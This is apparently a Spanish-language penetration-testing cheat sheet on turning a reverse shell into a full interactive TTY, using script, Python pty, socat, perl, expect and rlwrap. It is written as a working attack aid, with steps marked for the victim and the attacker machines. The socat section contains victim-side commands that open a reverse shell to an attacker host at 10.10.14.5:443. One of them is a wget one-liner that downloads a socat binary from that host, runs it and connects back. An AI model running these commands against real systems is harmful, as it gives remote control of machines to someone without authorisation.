Mejorar la shell a una TTY completa

Una reverse shell recién recibida se cierra con Ctrl+C y no tiene autocompletado. Sigue los pasos en orden; el panel «Tus datos» rellena tu número de filas y columnas (míralo con stty size en otra terminal).

Tus datos Se guardan en este navegador y se aplican a todas las chuletas.

Con script

El método más fiable en Linux. script viene instalado casi siempre (paquete util-linux / bsdutils).

Paso a paso

1. Pedir una pseudo-terminal Víctima
script /dev/null -c bash
2. Mandar la shell a segundo plano Teclas
Ctrl+Z
3. Pasar tu terminal a modo raw y volver a la shell Atacante
stty raw -echo; fg

En zsh escríbelo así, en una sola línea. Al pulsar Enter no verás lo que escribes, y es normal.

4. Reiniciar la terminal Víctima
reset xterm

Si pregunta «Terminal type?», escribe xterm.

5. Variables de entorno Víctima
export TERM=xterm-256color SHELL=bash
6. Ajustar el tamaño Víctima
stty rows 44 columns 184

Antes del paso 6

Ver el tamaño de tu terminal (en otra pestaña) Atacante
stty size

Python

Igual que con script, pero creando la pseudo-terminal con el módulo pty. Usa python si no hay python3.

Paso a paso

1. Pedir una pseudo-terminal Víctima
python3 -c 'import pty; pty.spawn("/bin/bash")'
2. Mandar la shell a segundo plano Teclas
Ctrl+Z
3. Modo raw y volver Atacante
stty raw -echo; fg
4. Terminal, entorno y tamaño Víctima
reset xterm
export TERM=xterm-256color SHELL=bash
stty rows 44 columns 184

socat

Da una TTY completa desde el principio, sin pasos extra. Necesitas socat en la víctima (puedes subir un binario estático).

Conexión

Escuchar Atacante
socat file:`tty`,raw,echo=0 tcp-listen:443
Conectar Víctima
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.14.5:443
Subir socat estático y conectar Víctima
wget -q http://10.10.14.5/socat -O /tmp/socat && chmod +x /tmp/socat && /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.14.5:443

Otros casos

Sin Python ni script

Perl Víctima
perl -e 'exec "/bin/bash";'
Expect Víctima
expect -c 'spawn bash; interact'

Windows

Historial y flechas con rlwrap Atacante
rlwrap -cAr nc -lvnp 443

Para una TTY de verdad en Windows usa ConPtyShell (ver la chuleta de reverse shells).

Si algo falla

Tu terminal se ha quedado rara al salir Atacante
reset
Comprobar que ya tienes TTY Víctima
tty; echo $TERM